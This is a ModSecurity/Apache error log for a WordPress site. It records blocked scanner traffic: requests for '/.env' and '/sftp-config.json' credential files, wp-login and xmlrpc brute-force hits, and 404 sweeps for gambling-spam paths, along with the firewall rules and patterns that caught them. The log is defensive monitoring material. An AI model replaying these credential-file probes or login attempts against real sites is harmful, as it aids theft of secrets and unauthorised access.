[Wed Apr 08 14:27:36.243639 2026] [:error] [pid 35642:tid 35664] [client 95.217.109.26:64714] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adX1WA-CqryxdEs5DN93EAAAAFQ"]
[Wed Apr 08 14:27:38.211525 2026] [:error] [pid 12490:tid 12510] [client 95.217.109.26:39466] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adX1Wm1Fea4F4fbumr3GKAAAANI"]
[Wed Apr 08 14:36:32.224117 2026] [:error] [pid 12490:tid 12502] [client 152.59.153.203:41371] [client 152.59.153.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.153.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adX3cG1Fea4F4fbumr3U8QAAAMo"]
[Wed Apr 08 16:33:52.828086 2026] [:error] [pid 12386:tid 12436] [client 146.190.34.125:58490] [client 146.190.34.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.34.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adYS8BLhhLtqHi2gK7W7XgAAARQ"]
[Wed Apr 08 16:33:57.550814 2026] [:error] [pid 12453:tid 12461] [client 146.190.34.125:52444] [client 146.190.34.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.34.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adYS9RjtW7S6XsLPvrSYRgAAAIY"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 17:13:04.084967 2026] [:error] [pid 12453:tid 12474] [client 85.190.254.157:43358] [client 85.190.254.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.190.254.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adYcIBjtW7S6XsLPvrSp5gAAAJM"]
[Wed Apr 08 17:13:05.987078 2026] [:error] [pid 12453:tid 12457] [client 85.190.254.157:43358] [client 85.190.254.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.190.254.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adYcIRjtW7S6XsLPvrSp6QAAAII"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 17:37:51.575641 2026] [:error] [pid 12453:tid 12464] [client 50.87.253.32:29118] [client 50.87.253.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.253.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adYh7xjtW7S6XsLPvrS0dQAAAIk"]
[Wed Apr 08 17:37:53.382066 2026] [:error] [pid 12453:tid 12461] [client 50.87.253.32:29118] [client 50.87.253.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.253.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adYh8RjtW7S6XsLPvrS0dwAAAIY"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 17:41:35.802278 2026] [:error] [pid 12386:tid 12429] [client 161.118.209.26:54569] [client 161.118.209.26] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "adYizxLhhLtqHi2gK7XXbAAAAQ0"]
[Wed Apr 08 17:52:06.681837 2026] [:error] [pid 12385:tid 12411] [client 177.54.150.128:45190] [client 177.54.150.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 177.54.150.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adYlRiAjtvRQEkLosq1wHQAAABY"]
[Wed Apr 08 17:52:09.059248 2026] [:error] [pid 12385:tid 12409] [client 177.54.150.128:45190] [client 177.54.150.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 177.54.150.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adYlSSAjtvRQEkLosq1wKQAAABQ"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 18:05:08.454840 2026] [:error] [pid 12490:tid 12513] [client 43.167.236.228:60346] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adYoVG1Fea4F4fbumr3D-QAAANU"]
[Wed Apr 08 18:18:22.034577 2026] [:error] [pid 12453:tid 12477] [client 104.28.156.138:37856] [client 104.28.156.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "adYrbhjtW7S6XsLPvrTfOAAAAJY"]
[Wed Apr 08 19:11:21.574825 2026] [:error] [pid 7189:tid 7207] [client 49.51.204.74:39400] [client 49.51.204.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adY32RaBqhBSu0L37lqxvwAAAdA"]
[Wed Apr 08 19:39:22.988094 2026] [:error] [pid 12490:tid 12512] [client 106.227.49.113:55557] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adY-am1Fea4F4fbumr3xWAAAANQ"]
[Wed Apr 08 19:44:14.426702 2026] [:error] [pid 12386:tid 12416] [client 173.239.214.4:33035] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "adY_jhLhhLtqHi2gK7UPMQAAAQA"]
[Wed Apr 08 20:04:41.858908 2026] [:error] [pid 64066:tid 64076] [client 84.54.76.33:44130] [client 84.54.76.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.54.76.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adZEWVR3WucJgr2vZGYx6wAAAUc"]
[Wed Apr 08 23:00:10.913174 2026] [:error] [pid 12386:tid 12432] [client 43.153.62.161:40758] [client 43.153.62.161] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adZtehLhhLtqHi2gK7UrSgAAARA"]
[Wed Apr 08 23:29:43.382305 2026] [:error] [pid 7047:tid 7051] [client 51.75.119.229:40236] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adZ0Z-Nh3oGO3pKiCzxQ-gAAAYI"]
[Wed Apr 08 23:29:45.258557 2026] [:error] [pid 64066:tid 64086] [client 51.75.119.229:44130] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adZ0aVR3WucJgr2vZGaUmwAAAVE"]
[Wed Apr 08 23:29:47.160158 2026] [:error] [pid 12490:tid 12505] [client 51.75.119.229:44144] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adZ0a21Fea4F4fbumr1AJwAAAM0"]
[Wed Apr 08 23:29:49.198781 2026] [:error] [pid 7047:tid 7053] [client 51.75.119.229:44148] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adZ0beNh3oGO3pKiCzxQ-wAAAYQ"]
[Wed Apr 08 23:29:51.151921 2026] [:error] [pid 12385:tid 12401] [client 51.75.119.229:44150] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adZ0byAjtvRQEkLosq2ybAAAAAw"]
[Wed Apr 08 23:29:53.107814 2026] [:error] [pid 64066:tid 64093] [client 51.75.119.229:44166] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adZ0cVR3WucJgr2vZGaUqAAAAVg"]
[Wed Apr 08 23:29:55.181330 2026] [:error] [pid 64066:tid 64076] [client 51.75.119.229:47892] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adZ0c1R3WucJgr2vZGaUtgAAAUc"]
[Wed Apr 08 23:29:57.115426 2026] [:error] [pid 64066:tid 64091] [client 51.75.119.229:47906] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adZ0dVR3WucJgr2vZGaUvgAAAVY"]
[Wed Apr 08 23:29:59.240718 2026] [:error] [pid 64066:tid 64076] [client 51.75.119.229:47910] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adZ0d1R3WucJgr2vZGaUwQAAAUc"]
[Wed Apr 08 23:30:01.315110 2026] [:error] [pid 12453:tid 12474] [client 51.75.119.229:47924] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "adZ0eRjtW7S6XsLPvrRnwgAAAJM"]
[Wed Apr 08 23:30:03.606570 2026] [:error] [pid 7047:tid 7053] [client 51.75.119.229:47938] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "adZ0e-Nh3oGO3pKiCzxRCgAAAYQ"]
[Wed Apr 08 23:30:05.506725 2026] [:error] [pid 12385:tid 12389] [client 51.75.119.229:52742] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "adZ0fSAjtvRQEkLosq2ycAAAAAA"]
[Wed Apr 08 23:30:07.367581 2026] [:error] [pid 35642:tid 35651] [client 51.75.119.229:52744] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "adZ0fw-CqryxdEs5DN91BwAAAEc"]
[Wed Apr 08 23:30:09.227350 2026] [:error] [pid 12490:tid 12510] [client 51.75.119.229:52760] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "adZ0gW1Fea4F4fbumr1AUwAAANI"]
[Wed Apr 08 23:30:11.072431 2026] [:error] [pid 12490:tid 12502] [client 51.75.119.229:52764] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "adZ0g21Fea4F4fbumr1AVgAAAMo"]
[Wed Apr 08 23:59:27.539435 2026] [:error] [pid 12453:tid 12465] [client 43.135.134.127:55932] [client 43.135.134.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adZ7XxjtW7S6XsLPvrR2_gAAAIo"]
[Thu Apr 09 00:09:53.277730 2026] [:error] [pid 12386:tid 12433] [client 217.182.195.181:49944] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "adZ90RLhhLtqHi2gK7U3sQAAARE"]
[Thu Apr 09 00:09:55.234668 2026] [:error] [pid 12490:tid 12514] [client 217.182.195.181:58888] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adZ9021Fea4F4fbumr1fLQAAANY"]
[Thu Apr 09 00:09:57.125484 2026] [:error] [pid 12385:tid 12399] [client 217.182.195.181:58902] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adZ91SAjtvRQEkLosq24TgAAAAo"]
[Thu Apr 09 00:09:59.137010 2026] [:error] [pid 64066:tid 64070] [client 217.182.195.181:53920] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adZ911R3WucJgr2vZGa8AwAAAUE"]
[Thu Apr 09 00:10:01.037015 2026] [:error] [pid 12385:tid 12405] [client 217.182.195.181:53936] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adZ92SAjtvRQEkLosq24VwAAABA"]
[Thu Apr 09 00:10:03.068142 2026] [:error] [pid 12453:tid 12461] [client 217.182.195.181:53938] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adZ92xjtW7S6XsLPvrR7sQAAAIY"]
[Thu Apr 09 00:10:04.947657 2026] [:error] [pid 64066:tid 64091] [client 217.182.195.181:53952] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adZ93FR3WucJgr2vZGa8CwAAAVY"]
[Thu Apr 09 00:10:06.967503 2026] [:error] [pid 7047:tid 7052] [client 217.182.195.181:53962] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adZ93uNh3oGO3pKiCzxgFwAAAYM"]
[Thu Apr 09 00:10:08.974453 2026] [:error] [pid 64066:tid 64075] [client 217.182.195.181:48122] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adZ94FR3WucJgr2vZGa8GgAAAUY"]
[Thu Apr 09 02:51:32.136736 2026] [autoindex:error] [pid 40055:tid 40146] [client 20.205.208.34:23515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 02:51:38.998314 2026] [:error] [pid 40055:tid 40149] [client 20.205.208.34:23515] [client 20.205.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "adajun_5SjAJycOw5k_i0QAAAJM"]
[Thu Apr 09 02:51:39.377895 2026] [:error] [pid 40055:tid 40135] [client 20.205.208.34:16059] [client 20.205.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "adaju3_5SjAJycOw5k_i0gAAAIU"]
[Thu Apr 09 02:51:39.753808 2026] [:error] [pid 40055:tid 40140] [client 20.205.208.34:20294] [client 20.205.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "adaju3_5SjAJycOw5k_i1QAAAIo"]
[Thu Apr 09 02:51:40.112462 2026] [:error] [pid 22056:tid 22060] [client 20.205.208.34:7188] [client 20.205.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "adajvGQ3CidOGkmVXZhrwgAAAMI"]
[Thu Apr 09 05:07:33.968210 2026] [:error] [pid 22627:tid 22652] [client 49.51.203.164:37260] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adbDlfr8glsF_jKQpr7aVQAAARY"]
[Thu Apr 09 06:26:15.870691 2026] [:error] [pid 20641:tid 20665] [client 43.130.57.46:39454] [client 43.130.57.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adbWB23LksBSF-6rlkZ5rQAAANQ"]
[Thu Apr 09 07:34:51.481170 2026] [:error] [pid 20641:tid 20646] [client 51.77.43.72:58278] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adbmG23LksBSF-6rlkaYpwAAAME"]
[Thu Apr 09 07:34:53.367343 2026] [:error] [pid 22627:tid 22633] [client 51.77.43.72:43156] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adbmHfr8glsF_jKQpr5UzAAAAQM"]
